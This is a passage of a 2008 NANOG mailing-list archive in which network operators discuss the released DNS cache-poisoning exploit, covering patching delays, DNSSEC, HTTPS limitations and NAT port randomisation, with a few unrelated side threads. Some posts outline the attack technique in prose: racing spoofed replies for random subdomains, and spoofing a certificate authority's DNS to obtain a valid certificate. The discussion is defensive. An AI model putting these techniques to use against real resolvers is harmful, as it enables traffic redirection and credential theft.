when told "the certificate for this site is invalid". > > 'course, as well as relying on users not ignoring certificate > warnings, > SSL as protection against this attack relies on the user explicitly > choosing SSL (by manually prefixing the URL with https://), or > noticing > that the site didn't redirect to SSL. > > Your average Joe who types www.paypal.com into their browser may very > well not notice that they didn't get redirected to > https://www.paypal.com/ That did not even occur to me. Anyone have a foolproof way to get grandma to always put "https://" in front of "www"? Seriously, I was explaining the problem to someone saying "never click 'OK'" when this e-mail came in and I realized how silly I was being. Help? -- TTFN, patrick From jared at puck.nether.net Wed Jul 23 22:33:30 2008 From: jared at puck.nether.net (Jared Mauch) Date: Wed, 23 Jul 2008 23:33:30 -0400 Subject: Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: <594F3023-022A-406A-950D-1E02945F1B21@ianai.net> References: <200807232230.m6NMUehk023713@aurora.sol.net> <1216862821.7847.6.camel@luna.unix.geek.nz> <594F3023-022A-406A-950D-1E02945F1B21@ianai.net> Message-ID: <20080724033330.GA59081@puck.nether.net> On Wed, Jul 23, 2008 at 11:01:11PM -0400, Patrick W. Gilmore wrote: >> https://www.paypal.com/ > > That did not even occur to me. > > Anyone have a foolproof way to get grandma to always put "https://" in > front of "www"? > > Seriously, I was explaining the problem to someone saying "never click > 'OK'" when this e-mail came in and I realized how silly I was being. The problem is there is no perfect solution to these challenges that the industry faces. The enhanced SSL certs and browser magic, eg: www.paypal.com w/ Firefox3 gives a nice green "happy" bar. If you don't invest in these, or if there is a lack of user education around these issues it's just one big Pharming pool. I talked to some govvies today and made what I believe is the clear case when it comes to "Doing the right thing(tm)". My case was that the industry would do the right thing as a whole. There would be stragglers, but the risk of doing nothing is too high. If your nameservers have not been upgraded or you did not enable the proper flags, eg: dnssec-enable and/or dnssec-validation as applicable, I hope you will take another look. - Jared -- Jared Mauch | pgp key available via finger from jared at puck.nether.net clue++; | http://puck.nether.net/~jared/ My statements are only mine. From mike at rockynet.com Wed Jul 23 22:39:50 2008 From: mike at rockynet.com (Mike Lewinski) Date: Wed, 23 Jul 2008 21:39:50 -0600 Subject: Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: <594F3023-022A-406A-950D-1E02945F1B21@ianai.net> References: <200807232230.m6NMUehk023713@aurora.sol.net> <1216862821.7847.6.camel@luna.unix.geek.nz> <594F3023-022A-406A-950D-1E02945F1B21@ianai.net> Message-ID: <4887F986.30804@rockynet.com> Patrick W. Gilmore wrote: > Anyone have a foolproof way to get grandma to always put "https://" in > front of "www"? Some tests from my home Comcast connection tonight showed less than desirable results from their resolvers. The first thing I did was to double check that the bookmarks I use when visiting my banking sites all begin https. I was happy to see I had the sense to create them some time ago, by hand, with the https. Even when I receive a notice of a new statement or pending payment on something in the email, and I KNOW it's valid, I'm still visiting it from the bookmark. From Skywing at valhallalegends.com Wed Jul 23 22:40:47 2008 From: Skywing at valhallalegends.com (Skywing) Date: Wed, 23 Jul 2008 22:40:47 -0500 Subject: Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: <594F3023-022A-406A-950D-1E02945F1B21@ianai.net> References: <200807232230.m6NMUehk023713@aurora.sol.net> <1216862821.7847.6.camel@luna.unix.geek.nz> <594F3023-022A-406A-950D-1E02945F1B21@ianai.net> Message-ID: <982D8D05B6407A49AD506E6C3AC8E7D66150B24CB6@caralain.haven.nynaeve.net> Bookmarks or favorites or whatever your browser of choice wishes to call them, for the https URLs. That, or remember to type in the https:// prefix. - S -----Original Message----- From: Patrick W. Gilmore [mailto:patrick at ianai.net] Sent: Wednesday, July 23, 2008 11:01 PM To: nanog at merit.edu Subject: Re: Exploit for DNS Cache Poisoning - RELEASED On Jul 23, 2008, at 9:27 PM, Jasper Bryant-Greene wrote: > On Wed, 2008-07-23 at 21:17 -0400, Joe Abley wrote: >> Luckily we have the SSL/CA architecture in place to protect any web >> page served over SSL. It's a good job users are not conditioned to >> click "OK" when told "the certificate for this site is invalid". > > 'course, as well as relying on users not ignoring certificate > warnings, > SSL as protection against this attack relies on the user explicitly > choosing SSL (by manually prefixing the URL with https://), or > noticing > that the site didn't redirect to SSL. > > Your average Joe who types www.paypal.com into their browser may very > well not notice that they didn't get redirected to > https://www.paypal.com/ That did not even occur to me. Anyone have a foolproof way to get grandma to always put "https://" in front of "www"? Seriously, I was explaining the problem to someone saying "never click 'OK'" when this e-mail came in and I realized how silly I was being. Help? -- TTFN, patrick From matthew at eeph.com Wed Jul 23 22:53:30 2008 From: matthew at eeph.com (Matthew Kaufman) Date: Wed, 23 Jul 2008 20:53:30 -0700 Subject: Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: <982D8D05B6407A49AD506E6C3AC8E7D66150B24CB6@caralain.haven.nynaeve.net> References: <200807232230.m6NMUehk023713@aurora.sol.net> <1216862821.7847.6.camel@luna.unix.geek.nz> <594F3023-022A-406A-950D-1E02945F1B21@ianai.net> <982D8D05B6407A49AD506E6C3AC8E7D66150B24CB6@caralain.haven.nynaeve.net> Message-ID: <4887FCBA.9020201@eeph.com> Skywing wrote: > Bookmarks or favorites or whatever your browser of choice wishes to call them, for the https URLs. That, or remember to type in the https:// prefix. > > - S > Which works great until you run into something like Washington Mutual (of which you have no doubt heard)... http://www.wamu.com redirects to http://www.wamu.com/personal/default.asp and https://www.wamu.com *also* redirects to http://www.wamu.com/personal.default.asp (!) And yes, then you're supposed to trust that the page you've been served up will send the form submit with your username and password to the right place over https. They do now have a link to https://online.wamu.com/IdentityManagement/Logon.aspx on that main page, but you have to look for it. But really, https://www.wamu.com should redirect to *that* in order for it to be safe for the slightly-knowledgeable-about-http-security. Matthew Kaufman matthew at eeph.com http://www.matthew.at From fergdawg at netzero.net Wed Jul 23 23:17:59 2008 From: fergdawg at netzero.net (Paul Ferguson) Date: Thu, 24 Jul 2008 04:17:59 GMT Subject: Exploit for DNS Cache Poisoning - RELEASED Message-ID: <20080723.211759.15942.0@webmail14.vgs.untd.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - -- Jared Mauch wrote: >If your nameservers have not been upgraded or you did >not enable the proper flags, eg: dnssec-enable and/or dnssec-validation >as applicable, I hope you will take another look. Let's hope some very large service providers get their act together real soon now. http://www.hackerfactor.com/blog/index.php?/archives/204-Poor-DNS.html - - ferg -----BEGIN PGP SIGNATURE----- Version: PGP Desktop 9.6.3 (Build 3017) wj8DBQFIiAJiq1pz9mNUZTMRAiSqAJwL9t4ldzKMjHyA4KITrLz2dHvTFQCgkfuR G4SnZhKReOYYBjdSSJamVQw= =ac5p -----END PGP SIGNATURE----- -- "Fergie", a.k.a. Paul Ferguson Engineering Architecture for the Internet fergdawg(at)netzero.net ferg's tech blog: http://fergdawg.blogspot.com/ From fergdawg at netzero.net Wed Jul 23 23:27:12 2008 From: fergdawg at netzero.net (Paul Ferguson) Date: Thu, 24 Jul 2008 04:27:12 GMT Subject: Emerging Threats SNORT [Was: Re: Exploit for DNS Cache Poisoning - REL EASED] Message-ID: <20080723.212712.15942.1@webmail14.vgs.untd.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - -- "Paul Ferguson" wrote: >-- Jared Mauch wrote: > >>If your nameservers have not been upgraded or you did >>not enable the proper flags, eg: dnssec-enable and/or dnssec-validation >>as applicable, I hope you will take another look. > >Let's hope some very large service providers get their act together >real soon now. > >http://www.hackerfactor.com/blog/index.php?/archives/204-Poor-DNS.html Sorry to respond to my own post, but I thought this might be of interest to the list. Matt Jonkman, over at Emerging Threats (previously known as Bleeding Threats) has a 'prototype' SNORT sig for these attacks -- try it out and provide feedback, if you are so inclined. http://www.emergingthreats.net/content/view/87/9/ - - ferg -----BEGIN PGP SIGNATURE----- Version: PGP Desktop 9.6.3 (Build 3017) wj8DBQFIiASRq1pz9mNUZTMRAmjnAKDYOmtUbm+er2OBUfjxcGdNWggOlgCfYbkn V8pibFdRpbHul2PrZu0oBg0= =QPWh -----END PGP SIGNATURE----- -- "Fergie", a.k.a. Paul Ferguson Engineering Architecture for the Internet fergdawg(at)netzero.net ferg's tech blog: http://fergdawg.blogspot.com/ From wrl at express.org Thu Jul 24 00:00:44 2008 From: wrl at express.org (William R. Lorenz) Date: Thu, 24 Jul 2008 01:00:44 -0400 (EDT) Subject: XO contact In-Reply-To: <87D89861-0ABD-4725-872A-8BA45018E5B8@zaidali.com> References: <87D89861-0ABD-4725-872A-8BA45018E5B8@zaidali.com> Message-ID: Do XO engineers still read and participate in this mailing list? We've been going back-and-forth for a couple of weeks now on a newly installed XO circuit. The circuit does not work, and we've heard reports of engineers resetting an ML100 card, possibly RE Cisco's CSCec78266. We have publicly-traded companies in the facilities, and it would be wonderful if we could get in touch with a knowledgeable XO engineer? On Tue, 24 Jun 2008, Zaid Ali wrote: > Can someone from XO who handles this neighbor 65.46.253.157 help me out > with a BGP session going down? This is the second time within a week > where a misconfiguration of an ACL on XO end is bringing down my BGP > session with you and its frustrating to go through the normal tech > support chain. From hannigan at gmail.com Thu Jul 24 00:32:52 2008 From: hannigan at gmail.com (Martin Hannigan) Date: Thu, 24 Jul 2008 01:32:52 -0400 Subject: XO contact In-Reply-To: References: <87D89861-0ABD-4725-872A-8BA45018E5B8@zaidali.com> Message-ID: <2d106eb50807232232y4caad3e2i7438f23740cef294@mail.gmail.com> On Thu, Jul 24, 2008 at 1:00 AM, William R. Lorenz wrote: > Do XO engineers still read and participate in this mailing list? Yes. From sean at donelan.com Thu Jul 24 00:40:57 2008 From: sean at donelan.com (Sean Donelan) Date: Thu, 24 Jul 2008 01:40:57 -0400 (EDT) Subject: Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: <20080723.211759.15942.0@webmail14.vgs.untd.com> References: <20080723.211759.15942.0@webmail14.vgs.untd.com> Message-ID: <0807240105550.24395851401618@clifden.donelan.com> On Thu, 24 Jul 2008, Paul Ferguson wrote: >> If your nameservers have not been upgraded or you did >> not enable the proper flags, eg: dnssec-enable and/or dnssec-validation >> as applicable, I hope you will take another look. > > Let's hope some very large service providers get their act together > real soon now. There is always a tension between discovery, changing, testing and finally deployment. DNS vendors learned about the vulnerability on March 31 (or possibly earlier). DNS vendors waited over 3 months to publically release their patches, even though they knew their customers and users were vulnerable. It probably took the vendors some time to change their code, test their changes, work on beta releases in various deployments because programmers are human and sometimes patches have bugs too. Then they announced their patches to the world, and the world (and ISPs, etc) has much less time to regression test and verify the systems still work. Vendors have released bugging patches in the past. Patching a large ISP infrastructure under ordinary circumstances can be challanging. If it takes software vendors 90+ days to fix something, is it a surpise it may take a large ISP more than 14 days? If they move to quickly and crash the resolvers because of a bug the human programmers may have not forseen in the ISPs DNS architecture, the Internet is effectively "down" for a large number of users. Result: Bad press, angry customers, lawsuits, etc. If they don't move quickly enough and the vulnerability is exploited by a human bad guy, the Internet is effectively "corrupted" for a large number of users. Result: Bad press, angry customers, lawsuits, etc. Damned if they do, damned if they don't. Or in this case: Damned if they are too fast, damned if they are too slow. I don't think there really is a correct answer. People are going to say they suck no matter what. Anyone who has ever been in the position of scheduling security patches across a large ISP knows they aren't going to get much thanks. Although I didn't know the right answer, I did try to always patch production network first and the corporate network last; so if we didn't get everything finished before the exploit hit I could tell customers we did try to put the customer first. Although internal MIS folks would sometimes get mad at me for waiting to tell them. Some people think you should patch the corporate network first, and the production network later. So it brings up the ancient question about the schedule of vulnerability announcements and whether some providers of some core infrastructure should have an early start to patch their systems; because everyone else will be depending on them functioning to obtain the patches when the vulnerability is widely disclosed. How do you decide how early, who, what, how, ... Or do not play favorites, and announce everything to everyone at the exact same time; and its off to the races. Or something in between. From kc at caida.org Thu Jul 24 00:42:24 2008 From: kc at caida.org (k claffy) Date: Wed, 23 Jul 2008 22:42:24 -0700 Subject: Avg. Packet Size - Again? In-Reply-To: <8470C309-993B-4D94-939B-EB8B4F4E8E4B@cisco.com> References: <54F4F930-8060-40BE-AB0D-88468791B151@gmail.com> <43515.1216167712@turing-police.cc.vt.edu> <487DBAF3.2090307@gdt.id.au> <487DDEBF.2080106@psg.com> <8470C309-993B-4D94-939B-EB8B4F4E8E4B@cisco.com> Message-ID: <20080724054224.GA50392@rommie.caida.org> most recent update on this question, with just a couple of data points: http://www.caida.org/research/traffic-analysis/pkt_size_distribution/graphs.xml (so, yes the peak has moved up to 1500.) note there are more tiny packets in our recent ipv6 data, but that could just be someone's ping experiment, it's too small a sample (76k pkts) k On Wed, Jul 16, 2008 at 08:24:59AM -0700, fred baker wrote: CAIDA has been doing a lot of that, at least in the past. Last I asked them, which was quite a while back, they said that O(35%) of traffic in their samples was at the path MTU (which included 576 bytes for historical reasons), O(40%) was about the size of a TCP SYN or ACK, for reasons that are apparent if you think about common TCP implementations, and sizes were scattered more or less uniformly in between - last packet in a burst or transaction exchanges. From the numbers that Valdis posted the other day, it sounds like the logic remains about the same but the relevance of "576" has largely gone away. On Jul 16, 2008, at 4:42 AM, Randy Bush wrote: >>Our network also shows peaks at the ethernet MTU (our MTU is higher >>than that) and the DNS packet size. > >so who has been tracking packet size distributions for some years and >has published or could provide data? > >randy > > > From vixie at isc.org Thu Jul 24 00:55:19 2008 From: vixie at isc.org (Paul Vixie) Date: Thu, 24 Jul 2008 05:55:19 +0000 Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? Message-ID: <73818.1216878919@nsa.vix.com> this is for whoever said "it's just a brute force attack" and/or "it's the same attack that's been described before". maybe it goes double if that person is also the one who said "my knowledge in this area is out of date". grrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr. re: -- This message has been scanned for viruses and dangerous content by MailScanner, and is believed to be clean. -------------- next part -------------- An embedded message was scrubbed... From: Paul Vixie Subject: Re: [dns-operations] DNS issue accidentally leaked? Date: Tue, 22 Jul 2008 18:10:42 +0000 Size: 4999 URL: From fergdawg at netzero.net Thu Jul 24 00:55:51 2008 From: fergdawg at netzero.net (Paul Ferguson) Date: Thu, 24 Jul 2008 05:55:51 GMT Subject: Exploit for DNS Cache Poisoning - RELEASED Message-ID: <20080723.225551.2542.0@webmail01.vgs.untd.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - -- Sean Donelan wrote: >> >> Let's hope some very large service providers get their act together >> real soon now. > >There is always a tension between discovery, changing, testing and finally deployment. > Sure, I can empathize, to a certain extent. But this issue has been known for 2+ weeks now. Not sure I can be very empathic now, given the seriousness, and the proper warning ISPs have been given. $.02, - - ferg -----BEGIN PGP SIGNATURE----- Version: PGP Desktop 9.6.3 (Build 3017) wj8DBQFIiBldq1pz9mNUZTMRAiLjAJ91jnOPW+nhuk0PA5qGjrwz0bH25ACgjOXS IEJTnVU4BIZ8bMfU7dB4ZKY= =sBS2 -----END PGP SIGNATURE----- -- "Fergie", a.k.a. Paul Ferguson Engineering Architecture for the Internet fergdawg(at)netzero.net ferg's tech blog: http://fergdawg.blogspot.com/ From robert at ripe.net Thu Jul 24 02:51:40 2008 From: robert at ripe.net (Robert Kisteleki) Date: Thu, 24 Jul 2008 09:51:40 +0200 Subject: https (was: Re: Exploit for DNS Cache Poisoning - RELEASED) In-Reply-To: <594F3023-022A-406A-950D-1E02945F1B21@ianai.net> References: <200807232230.m6NMUehk023713@aurora.sol.net> <1216862821.7847.6.camel@luna.unix.geek.nz> <594F3023-022A-406A-950D-1E02945F1B21@ianai.net> Message-ID: <4888348C.3010806@ripe.net> Patrick W. Gilmore wrote: > Anyone have a foolproof way to get grandma to always put "https://" in > front of "www"? I understand this is a huge can of worms, but maybe it's time to change the default behavior of browsers from http to https...? I'm sure it's doable in FF with a simple plugin, one doesn't have to wait for FF4. (That would work for bookmarks too.) Robert From smb at cs.columbia.edu Thu Jul 24 03:05:58 2008 From: smb at cs.columbia.edu (Steven M. Bellovin) Date: Thu, 24 Jul 2008 04:05:58 -0400 Subject: https (was: Re: Exploit for DNS Cache Poisoning - RELEASED) In-Reply-To: <4888348C.3010806@ripe.net> References: <200807232230.m6NMUehk023713@aurora.sol.net> <1216862821.7847.6.camel@luna.unix.geek.nz> <594F3023-022A-406A-950D-1E02945F1B21@ianai.net> <4888348C.3010806@ripe.net> Message-ID: <20080724040558.5b20e1c2@cs.columbia.edu> On Thu, 24 Jul 2008 09:51:40 +0200 Robert Kisteleki wrote: > Patrick W. Gilmore wrote: > > Anyone have a foolproof way to get grandma to always put "https://" > > in front of "www"? > > I understand this is a huge can of worms, but maybe it's time to > change the default behavior of browsers from http to https...? > > I'm sure it's doable in FF with a simple plugin, one doesn't have to > wait for FF4. (That would work for bookmarks too.) > Servers won't go along with it -- it's too expensive, both in CPU and round trips. The round trip issue affects latency, which in turn affects perceived responsiveness. This is quite definitely the reason why gmail doesn't always use https (though it, unlike some other web sites, doesn't refuse to use it). As for CPU time -- remember that most web site visits are very short; this in turn means that you have to amortize the SSL setup expense over very few pages. I talked once with a competent system designer who really wanted to use https but couldn't -- his total system cost would have gone up by a factor of 10. --Steve Bellovin, http://www.cs.columbia.edu/~smb From jasper at unleash.co.nz Thu Jul 24 03:13:57 2008 From: jasper at unleash.co.nz (Jasper Bryant-Greene) Date: Thu, 24 Jul 2008 20:13:57 +1200 Subject: https (was: Re: Exploit for DNS Cache Poisoning - RELEASED) In-Reply-To: <4888348C.3010806@ripe.net> References: <200807232230.m6NMUehk023713@aurora.sol.net> <1216862821.7847.6.camel@luna.unix.geek.nz> <594F3023-022A-406A-950D-1E02945F1B21@ianai.net> <4888348C.3010806@ripe.net> Message-ID: <1216887237.11967.3.camel@luna.unix.geek.nz> On Thu, 2008-07-24 at 09:51 +0200, Robert Kisteleki wrote: > Patrick W. Gilmore wrote: > > Anyone have a foolproof way to get grandma to always put "https://" in > > front of "www"? > > I understand this is a huge can of worms, but maybe it's time to change the > default behavior of browsers from http to https...? > > I'm sure it's doable in FF with a simple plugin, one doesn't have to wait > for FF4. (That would work for bookmarks too.) It probably wouldn't help. In this case, if I was the attacker, I'd just find a company selling "Domain Validated" certs whose upstream nameserver was vulnerable (there's enough "Domain Validated" certificate pushers now that this shouldn't be hard) Then you spoof the domain from their point of view, obtain a cert, and now HTTPS will work with no error message, almost certainly fooling anyone's grandma. -Jasper From regnauld at catpipe.net Thu Jul 24 03:45:05 2008 From: regnauld at catpipe.net (Phil Regnauld) Date: Thu, 24 Jul 2008 10:45:05 +0200 Subject: SANS: DNS Bug Now Public? In-Reply-To: <2A44845F-4D1F-47A8-B6F7-09B50C65C8B4@ca.afilias.info> References: <4885D540.7060304@aset.com> <202705b0807220600o15a13239n7c6d0be77d3a95b9@mail.gmail.com> <20080723033155.20717d40@cs.columbia.edu> <202705b0807230916i67de3740x3fa471dc289f1832@mail.gmail.com> <2A44845F-4D1F-47A8-B6F7-09B50C65C8B4@ca.afilias.info> Message-ID: <20080724084505.GE95929@catpipe.net> Joe Abley (jabley) writes: > > Having just seen some enterprise types spend time patching their > nameservers, it's also perhaps worth spelling out that "patch" in this case > might require more than upgrading resolver code -- it could also involve > reconfigurations, upgrades or replacements of NAT boxes too. If your NAT > reassigns source ports in a predictable fashion, then no amount of BIND9 > patching is going to help. Case in point, we've got customers running around in circles screaming "we need to upgrade, please help us upgrade NOW", but they have _3_ layers of routers and firewalls that are hardcoded to only allow DNS queries from port 53. From nenolod at systeminplace.net Thu Jul 24 04:06:07 2008 From: nenolod at systeminplace.net (William Pitcock) Date: Thu, 24 Jul 2008 04:06:07 -0500 Subject: https (was: Re: Exploit for DNS Cache Poisoning - RELEASED) In-Reply-To: <4888348C.3010806@ripe.net> References: <200807232230.m6NMUehk023713@aurora.sol.net> <1216862821.7847.6.camel@luna.unix.geek.nz> <594F3023-022A-406A-950D-1E02945F1B21@ianai.net> <4888348C.3010806@ripe.net> Message-ID: <1216890367.25093.416.camel@petrie.sacredspiral.co.uk> On Thu, 2008-07-24 at 09:51 +0200, Robert Kisteleki wrote: > Patrick W. Gilmore wrote: > > Anyone have a foolproof way to get grandma to always put "https://" in > > front of "www"? > > I understand this is a huge can of worms, but maybe it's time to change the > default behavior of browsers from http to https...? > > I'm sure it's doable in FF with a simple plugin, one doesn't have to wait > for FF4. (That would work for bookmarks too.) > I don't think anything involving HTTPS is necessairly an answer to this problem. Specifically: * not all sites do HTTPS * many organizations use transparent proxies like Microsoft ICA * certification authorities can in theory be bought off (or otherwise manipulated) to issue bogus certs, making switching to HTTPS worthless William From simonw at zynet.net Thu Jul 24 04:06:25 2008 From: simonw at zynet.net (Simon Waters) Date: Thu, 24 Jul 2008 10:06:25 +0100 Subject: TLD servers with recursion was Re: Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: <20080723.211759.15942.0@webmail14.vgs.untd.com> References: <20080723.211759.15942.0@webmail14.vgs.untd.com> Message-ID: <200807241006.26010.simonw@zynet.net> On Thursday 24 July 2008 05:17:59 Paul Ferguson wrote: > > Let's hope some very large service providers get their act together > real soon now. > > http://www.hackerfactor.com/blog/index.php?/archives/204-Poor-DNS.html It isn't going to happen without BIG political pressure, either from users, or governments, and other bodies. I checked last night, and noticed TLD servers for .VA and .MUSEUM are still offering recursion amongst a load of less popular top level domains. Indeed just under 10% of the authoritative name servers mentioned in the root zone file still offer recursion. I didn't check IPv6 servers, but these IPv4 servers are potentially vulnerable to this (and other) poisoning attacks. Hard to pin down numbers as some have been patched, and some have unusual behaviour on recursion, but I fancy my chances of owning more than a handful of TLDs if I had the time to try (and immunity from prosecution). The advice NOT to allow recursion on TLD servers is well over a decade old. So who thinks the current fashionable problem will be patched widely in a month - given it is much less critical in nature? The .MUSEUM server that is offering recursion is hosted by the Getty Foundation, so I assume money isn't the issue. The Vatican ought to be able to find someone in its billion adherents prepared to help configure a couple of name servers. I also noticed that one of the ".US" servers doesn't exist in the DNS proper, glue exists but not the record in the zone. I'm guessing absence of a name servers name record in its proper zone makes certain spoofing attacks easier (since you are only competing with glue records), although I can't specifically demonstrate that one for blackhat 2008 - it suggests a certain lack of attention on the part of the domain's administrators. I was tempted to write a mock RFC, proposing dropping all top level domain names which still have recursion enabled in one or more of their name servers - due to "lack of maintanence". A little humour might help make the point, slashdot might go for it. From sam_mailinglists at spacething.org Thu Jul 24 06:50:16 2008 From: sam_mailinglists at spacething.org (Sam Stickland) Date: Thu, 24 Jul 2008 12:50:16 +0100 Subject: https In-Reply-To: <20080724040558.5b20e1c2@cs.columbia.edu> References: <200807232230.m6NMUehk023713@aurora.sol.net> <1216862821.7847.6.camel@luna.unix.geek.nz> <594F3023-022A-406A-950D-1E02945F1B21@ianai.net> <4888348C.3010806@ripe.net> <20080724040558.5b20e1c2@cs.columbia.edu> Message-ID: <48886C78.1030902@spacething.org> Steven M. Bellovin wrote: > As for CPU time -- remember that most web site visits are very short; > this in turn means that you have to amortize the SSL setup expense over > very few pages. I talked once with a competent system designer who > really wanted to use https but couldn't -- his total system cost would > have gone up by a factor of 10. > We handle the SSL decryption on the front-end load-balancers (hardware assisted). For financial transactions the load-balancers also maintain long-lived SSL connections to the webservers, that the decrypted data is pipelined into. This avoids the expensive session setup and teardown on the servers. Sam From jgreco at ns.sol.net Thu Jul 24 07:01:46 2008 From: jgreco at ns.sol.net (Joe Greco) Date: Thu, 24 Jul 2008 07:01:46 -0500 (CDT) Subject: Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: <3c3e3fca0807231934m7f031701qbf0da439eebcecae@mail.gmail.com> from "William Herrin" at Jul 23, 2008 10:34:17 PM Message-ID: <200807241201.m6OC1k1A093145@aurora.sol.net> > On Wed, Jul 23, 2008 at 9:44 PM, Joe Greco wrote: > >> Except this time your reply comes with an additional record > >> containing the IP for www.gmail.com to the one you want to redirect it > >> to. > > > > Thought that was the normal technique for cache poisoning. I'm pretty > > sure that at some point, code was added to BIND to actually implement > > this whole bailiwick system, rather than just accepting arbitrary out- > > of-scope data, which it ... used to do (sigh, hi BIND4). > > Joe, > > I think that's the beauty of this attack: the data ISN'T out of scope. > The resolver is expecting to receive one or more answers to > 00001.gmail.com, one or more authority records (gmail.com NS > www.gmail.com) and additional records providing addresses for the > authority records (www.gmail.com A 127.0.0.1). I think the response to that is best summarized as **YAWN**. One of the basic tenets of attacking security is that it works best to attack the things that you know a remote system will allow. The bailiwick system is *OLD* tech at this point, but is pretty much universally deployed (in whatever forms across various products), so it stands to reason that a successful attack is likely to involve either in-scope data, or a bug in the system. The fact that this was known to be a cross-platform vulnerability would have suggested an in-scope data attack. I thought that part was obvious, sorry for any confusion. ... JG -- Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net "We call it the 'one bite at the apple' rule. Give me one chance [and] then I won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN) With 24 million small businesses in the US alone, that's way too many apples. From dot at dotat.at Thu Jul 24 07:21:07 2008 From: dot at dotat.at (Tony Finch) Date: Thu, 24 Jul 2008 13:21:07 +0100 Subject: Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: <6E4AD80A-7BBF-4F8E-AE21-6F6BDD227CE6@dragondata.com> References: <200807232230.m6NMUehk023713@aurora.sol.net> <6E4AD80A-7BBF-4F8E-AE21-6F6BDD227CE6@dragondata.com> Message-ID: On Wed, 23 Jul 2008, Kevin Day wrote: > > The new way is slightly more sneaky. You get the victim to try to > resolve an otherwise invalid and uncached hostname like 00001.gmail.com, > and try to beat the real response with spoofed replies. Except this time > your reply comes with an additional record containing the IP for > www.gmail.com to the one you want to redirect it to. If you win the race > and the victim accepts your spoof for 00001.gmail.com, it will also > accept (and overwrite any cached value) for your additional record for > www.gmail.com as well. RFC 2181 says the resolver should not overwrite authoritative data with additional data in this manner. I believe the Matasano description is wrong. Tony. -- f.anthony.n.finch http://dotat.at/ FORTIES CROMARTY FORTH TYNE DOGGER: EAST OR SOUTHEAST 3 OR 4, INCREASING 5 OR 6 LATER. SLIGHT OR MODERATE. FOG PATCHES. GOOD, OCCASIONALLY VERY POOR. From EMort at xo.com Thu Jul 24 07:23:41 2008 From: EMort at xo.com (Mort, Eric) Date: Thu, 24 Jul 2008 07:23:41 -0500 Subject: XO contact In-Reply-To: References: <87D89861-0ABD-4725-872A-8BA45018E5B8@zaidali.com> Message-ID: <2E209CF1536C0C42A260E215DA598E9604C47099@TXPLANMAIL02.mail.inthosts.net> If you can reply to me with the ticket details and number I can make sure it get looked at by the right folks. Regards, Eric J. Mort Sr. Manager - IP Operations Desk - 314-787-7826 Cell - 314-486-9057 emort at xo.com -----Original Message----- From: William R. Lorenz [mailto:wrl at express.org] Sent: Thursday, July 24, 2008 12:01 AM To: Zaid Ali Cc: nanog at merit.edu Subject: Re: XO contact Do XO engineers still read and participate in this mailing list? We've been going back-and-forth for a couple of weeks now on a newly installed XO circuit. The circuit does not work, and we've heard reports of engineers resetting an ML100 card, possibly RE Cisco's CSCec78266. We have publicly-traded companies in the facilities, and it would be wonderful if we could get in touch with a knowledgeable XO engineer? On Tue, 24 Jun 2008, Zaid Ali wrote: > Can someone from XO who handles this neighbor 65.46.253.157 help me out > with a BGP session going down? This is the second time within a week > where a misconfiguration of an ACL on XO end is bringing down my BGP > session with you and its frustrating to go through the normal tech > support chain. From tims at donet.com Thu Jul 24 07:25:09 2008 From: tims at donet.com (Tim Sanderson) Date: Thu, 24 Jul 2008 08:25:09 -0400 Subject: Software router state of the art In-Reply-To: References: <521991.67953.qm@web65512.mail.ac4.yahoo.com> <13218.1216826659@turing-police.cc.vt.edu> <48874FFF.4020205@thewybles.com> <20080723161740.GK11922@skywalker.creative.net.au> Message-ID: Is anyone using Vyatta for routing? I sure would like to know about any experience with it in production. http://www.vyatta.com/ -- Tim Sanderson, network administrator tims at donet.com -----Original Message----- From: randal k [mailto:nanog at data102.com] Sent: Wednesday, July 23, 2008 1:46 PM To: Adrian Chadd Cc: nanog at merit.edu Subject: Re: Software router state of the art That is a very interesting paper. Seriously, 7mpps with an off-the-shelf Dell 2950? Even if it were -half- that throughput, for a pure ethernet forwarding solution that is incredible. Shoot, buy a handful of them as hot spares and still save a bundle. Highly recommended reading, even if (like me) you're anti-commodity routing. Cheers, Randal On Wed, Jul 23, 2008 at 10:17 AM, Adrian Chadd wrote: > On Wed, Jul 23, 2008, Charles Wyble wrote: > >> This might be of interest: >> >> http://nrg.cs.ucl.ac.uk/mjh/tmp/vrouter-perf.pdf > > Various FreeBSD related guys are working on parallelising the forwarding > layer enough to use the multiple tx/rx queues in some chipsets such as the > Intel gig/10ge stuff. > > 1 mil pps has been broken that way, but it uses lots of cores to get there. > (8, I think?) > > Linux apparently is/has headed down this path. From cmadams at hiwaay.net Thu Jul 24 08:02:51 2008 From: cmadams at hiwaay.net (Chris Adams) Date: Thu, 24 Jul 2008 08:02:51 -0500 Subject: https (was: Re: Exploit for DNS Cache Poisoning - RELEASED) In-Reply-To: <4888348C.3010806@ripe.net> References: <200807232230.m6NMUehk023713@aurora.sol.net> <1216862821.7847.6.camel@luna.unix.geek.nz> <594F3023-022A-406A-950D-1E02945F1B21@ianai.net> <4888348C.3010806@ripe.net> Message-ID: <20080724130250.GA1279927@hiwaay.net> Once upon a time, Robert Kisteleki said: > I understand this is a huge can of worms, but maybe it's time to change the > default behavior of browsers from http to https...? This is a _DNS_ vulnerability. The Internet is more than HTTP(S). Think about email (how many MTAs do TLS and validate the certs?). Even things like BitTorrent require valid DNS (how about MPAA/RIAA poisoning the cache for thepiratebay?). -- Chris Adams Systems and Network Administrator - HiWAAY Internet Services I don't speak for anybody but myself - that's enough trouble. From jgreco at ns.sol.net Thu Jul 24 08:35:51 2008 From: jgreco at ns.sol.net (Joe Greco) Date: Thu, 24 Jul 2008 08:35:51 -0500 (CDT) Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <73818.1216878919@nsa.vix.com> from "Paul Vixie" at Jul 24, 2008 05:55:19 AM Message-ID: <200807241335.m6ODZpfo097197@aurora.sol.net> > downplay this all you want, we can infect a name server in 11 seconds now, > which was never true before. i've been tracking this area since 